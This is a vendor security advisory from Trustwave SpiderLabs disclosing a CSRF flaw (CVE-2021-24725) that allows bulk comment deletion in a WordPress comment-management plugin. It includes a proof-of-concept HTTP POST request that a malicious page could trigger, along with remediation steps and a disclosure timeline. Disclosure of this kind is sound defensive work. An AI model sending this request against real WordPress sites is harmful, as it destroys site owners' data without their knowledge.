Trustwave SpiderLabs Security Advisory TWSL2021-015: CSRF Vulnerability in WordPress Plugin Comment Link Remove and Other Comment Tools Published: 09/10/2021 Version: 1.1 Vendor: QuantumCloud (https://quantumcloud.com/) Product: WordPress Plugin Comment Link Remove and Other Comment Tools Version affected: <= 2.1.4 (before 06/15/2021) Product description: The plugin provides tools for managing comments. Finding 1: WordPress Plugin Comment Link Remove and Other Comment Tools <= 2.1.4 CSRF to bulk comment deletion *****Credit: Martin Vierula of Trustwave CVE: CVE-2021-24725 CWE: CWE-352 Actions in the 'Delete comments easily' section of the plugin are vulnerable to CSRF. A remote attacker could perform a mass delete of comments on a web site without the victim's knowledge by inducing an authenticated user into visiting the attacker's web page. There is no anti-CSRF token implemented as part of these functions. The following request can be submitted by a malicious website. Because it is the legitimate user's browser that is performing the submission, the legitimate user's valid cookies are included automatically. ----------------- POST /wp-admin/admin.php?page=comment-link-remove HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 21 Connection: keep-alive Referer: http://xxx.xxx.xxx.xxx/myevilpage.php Cookie: Upgrade-Insecure-Requests: 1 delAllCmts=delAllCmts ---------------- Remediation Steps: Upgrade the WordPress Plugin Comment Link Remove and Other Comment Tools to version 2.1.4 (06/15/2021) or the latest stable version. Revision History: 06/14/2021 - Disclosed finding to vendor 06/15/2021 - Vendor releases fix 08/04/2021 - Vendor confirms patched released 08/20/2021 - Advisory verson 1.0 published 09/10/2021 - CVE assigned 09/10/2021 - Advisory version 1.1 published References 1. https://wordpress.org/plugins/comment-link-remove About Trustwave: Trustwave helps businesses fight cybercrime, protect data and reduce security risk. With cloud and managed security services, integrated technologies and a team of security experts, ethical hackers and researchers, Trustwave enables businesses to transform the way they manage their information security and compliance programs. More than three million businesses are enrolled in the Trustwave TrustKeeper® cloud platform, through which Trustwave delivers automated, efficient and cost-effective threat, vulnerability and compliance management. Trustwave is headquartered in Chicago, with customers in 96 countries. For more information about Trustwave, visit https://www.trustwave.com. About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.